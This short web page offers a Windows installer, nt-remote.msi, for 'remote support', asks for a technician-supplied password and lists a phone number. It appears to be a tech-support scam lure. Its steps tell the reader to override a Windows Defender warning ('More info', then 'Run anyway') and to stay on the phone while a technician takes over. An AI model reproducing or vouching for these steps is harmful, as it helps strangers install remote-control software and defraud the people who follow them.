Remote Support Access
Enter the password provided by your technician
Remote Support Tool
Download and run the tool to connect with our technician
File: nt-remote.msi
Platform: Windows
Installation Instructions
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1
Download the File
Click the green download button above to save nt-remote.msi to your computer.
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2
Run the Installer
Double-click the downloaded file. If prompted by Windows Defender, click "More info" then "Run anyway".
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3
Follow Installation Wizard
Click "Next" through the installation prompts and wait for the install to complete.
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4
Stay on the Phone
Keep your phone call connected. Our technician will guide you through the rest of the process.
Having trouble? Our technician is ready to help:
(704) 979-4040